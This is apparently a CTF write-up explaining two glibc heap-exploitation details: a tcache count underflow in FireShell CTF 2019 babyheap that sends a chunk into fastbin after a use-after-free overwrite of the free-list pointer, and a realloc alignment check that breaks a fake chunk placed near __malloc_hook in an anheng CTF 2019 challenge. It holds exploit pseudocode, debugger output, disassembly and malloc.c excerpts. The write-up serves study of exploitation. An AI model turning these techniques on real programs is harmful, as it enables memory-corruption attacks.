Some Tips in EXPs of Recent Challenges

0x01 babyheap in FireShell CTF 2019

free into fastbin??

1
2
3
4
5
6
7
8
9
new()#0x70->tcache chunk
delete()#free into tcache bin
edit(p64(fake_addr))#UAF->edit fd
#attention: to fix tcache bin:(* tcache_chunk )*fake_addr->fd=0
new()
new()#malloc tcache chunk in fake_addr
new()#0x70->tcache chunk
#free into fastbin??
delete()

make sure->free into fastbin
debug->breakpoint before last delete():

1
2
3
4
5
6
7
8
9
pwndbg> p main_arena 
$2 = {
mutex = 0,
flags = 0,
have_fastchunks = 1,
fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0xcbc2c0, 0x0, 0x0, 0x0, 0x0}
#free into fastbin
......
......

It can also be seen&&something more:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> bins
tcachebins
0x70 [ -1]: 0x0#attention:-1
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0xcbc2c0 ◂— 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

tcache info:

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> p  *(struct tcache_perthread_struct *) 0xcbc010
$3 = {
counts = "\000\000\000\000\000\377", '\000' <repeats 57 times>,
entries = {0x0 <repeats 64 times>}
}#octal

#malloc.c:
#typedef struct tcache_perthread_struct
#{
# char counts[TCACHE_MAX_BINS];
# tcache_entry *entries[TCACHE_MAX_BINS];
#} tcache_perthread_struct;

It can be seen:
tcache->counts[0x70]=0377=0xFF

Hardware breakpoint at tcache->counts[0x70]:

1
2
3
4
#read->rwatch
#write->watch
#read&write->awatch
#example:int format: (r/a)watch *(int *)addr
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> awatch *0x1f05015 
Hardware access (read/write) watchpoint 1: *0x1f05015

pwndbg> c
......
......
► 0x7fa54bb7f212 <malloc+418> add rsp, 0x18
0x7fa54bb7f216 <malloc+422> mov rax, rdx
0x7fa54bb7f219 <malloc+425> pop rbx
0x7fa54bb7f21a <malloc+426> pop rbp
0x7fa54bb7f21b <malloc+427> ret
......
......

pwndbg> vmmap
......
0x7fa54bae8000 0x7fa54bccf000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so
......

function offset:

1
offset=0x7fa54bb7f212-0x7fa54bae8000=0x97212

reverse libc-2.27.so with ida:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
.text:00000000000971F0                 lea     rsi, [rcx+rax*8]
.text:00000000000971F4 mov rdx, [rsi+40h]
.text:00000000000971F8 test rdx, rdx
.text:00000000000971FB jz loc_970DC
.text:0000000000097201 cmp rax, 3Fh
.text:0000000000097205 ja short loc_97220
.text:0000000000097207 mov rdi, [rdx]
.text:000000000009720A mov [rsi+40h], rdi
.text:000000000009720E sub byte ptr [rcx+rax], 1
.text:0000000000097212
.text:0000000000097212 loc_97212: ; CODE XREF: malloc+9E↑j
.text:0000000000097212 ; malloc+A6↑j ...
.text:0000000000097212 add rsp, 18h
.text:0000000000097216 mov rax, rdx
.text:0000000000097219 pop rbx
.text:000000000009721A pop rbp
.text:000000000009721B retn

#breakpoint at
#.text:000000000009720E sub byte ptr [rcx+rax], 1
#can make sure that:
#sub byte ptr [rcx+rax], 1------->
#tcache->counts[0x70]=0xFF

correspond to source code in malloc.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);#this position
return (void *) e;
}
#tcache_put (mchunkptr chunk, size_t tc_idx)
#{
# tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
# assert (tc_idx < TCACHE_MAX_BINS);
# e->next = tcache->entries[tc_idx];
# tcache->entries[tc_idx] = e;
# ++(tcache->counts[tc_idx]);
#}

to sum up:

1
2
3
4
5
6
7
8
9
10
11
12
new()#tcache->counts[0x70]=0
delete()#tcache->counts[0x70]=1
edit(p64(fake_addr))#UAF->edit fd->add a chunk in tcache bin
new()#malloc from tcache bin->
#tcache->counts[0x70]--
#tcache->counts[0x70]=0
new()#malloc from tcache bin-->
#tcache->counts[0x70]--
#tcache->counts[0x70]=0-1=0xFF
new()#0x70->tcache chunk
delete()#(char )tcache->counts[0x70]=0xFF>7
#so this chunk free into fastbin bin

0x02 realloc error in anheng CTF 2019.1

some errors happened when I realloc fake_chunk at __malloc_hook-0x13(chunk_size=0x7F):

1
realloc(): invalid pointer: 0x00007f00eb485aed

debug step by step, we can find somthing wrong:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 ► 0x7fdc316ae724 <realloc+100>    test   r14b, 0xf
0x7fdc316ae728 <realloc+104> jne realloc+928 <0x7fdc316aea60>

0x7fdc316aea60 <realloc+928> mov ebp, dword ptr [rip + 0x33f6ea] <0x7fdc319ee150>
0x7fdc316aea66 <realloc+934> jmp realloc+266 <0x7fdc316ae7ca>

0x7fdc316ae7ca <realloc+266> mov eax, ebp
0x7fdc316ae7cc <realloc+268> and eax, 5

#IDA:
# if ( v5 <= -(signed __int64)v6 && !(v5 & 0xF) )
# {
# _R12 = 0LL;
# goto LABEL_9;
# }

correspond to source code in malloc.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
  /* Little security check which won't hurt performance: the allocator
never wrapps around at the end of the address space. Therefore
we can exclude some size values which might appear here by
accident or by "design" from some intruder. We need to bypass
this check for dumped fake mmap chunks from the old main arena
because the new malloc may provide additional alignment. */
if ((__builtin_expect ((uintptr_t) oldp > (uintptr_t) -oldsize, 0)
|| __builtin_expect (misaligned_chunk (oldp), 0))
&& !DUMPED_MAIN_ARENA_CHUNK (oldp))
malloc_printerr ("realloc(): invalid pointer");

something else:
#define misaligned_chunk(p) \
((uintptr_t)(MALLOC_ALIGNMENT == 2 * SIZE_SZ ? (p) : chunk2mem (p)) \
& MALLOC_ALIGN_MASK)

to sum up:

1
2
3
4
5
6
realloc(): invalid pointer: 0x00007f00eb485aed
reason:
Although the header of fake_chunk(0x7F) can bypass the check of chunk_size(like malloc)
but there is memory alignment check when realloc a chunk:
0x00007f00eb485aed&0xF!=0->
malloc_printerr ("realloc(): invalid pointer");

how could it success when edit fake chunk at &malloc_hook-0x3.
In fact, it also works when we edit fake chunk address at &
malloc_hook.
This is related to the flow of program:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
  v9 = strtol(nptr, 0LL, 10);
}
while ( v9 - 0x80 > 0xF80 );
printf("Description :", 0LL);
if ( *(_DWORD *)(*v10 + 0x40LL) < v9 )
{
*(_BYTE *)v10 = (unsigned __int64)realloc((void *)*v10, v9 + 68);
v6 = 0;
while ( 1 )
{
read(0, (void *)(v6 + 68LL + *v10), 1uLL);
if ( *(_BYTE *)(v6 + 68LL + *v10) == 10 )
break;
if ( ++v6 >= v9 + 68 )
goto LABEL_33;
}
*(_BYTE *)(v6 + 68LL + *v10) = 0;
}
else
{
v5 = 0;
while ( 1 )
{
read(0, (void *)(v5 + 68LL + *v10), 1uLL);
if ( *(_BYTE *)(v5 + 68LL + *v10) == 10 )
break;
if ( ++v5 >= v9 )
goto LABEL_33;
}
*(_BYTE *)(v5 + 68LL + *v10) = 0;
}

when the size we request below the size of note we malloc before:

1
2
3
4
5
read(0, (void *)(v5 + 68LL + *v10), 1uLL);
if ( *(_BYTE *)(v5 + 68LL + *v10) == 10 )
break;
if ( ++v5 >= v9 )
goto LABEL_33;

The program will read the stdin directly into the fake_addr, and realloc won’t be called:

1
2
3
4
5
6
the size of note(struct info:offset of chunk2mem(chunk_addr)=0x40):

__malloc_hook-0x3/__malloc_hook+0x40->a number usually greater than 0x20(we request in exp)
In this case, it will read the stdin directly into the fake_addr
__malloc_hook-0x13+0x40->Null(0)
In this case, it will call the realloc->error happened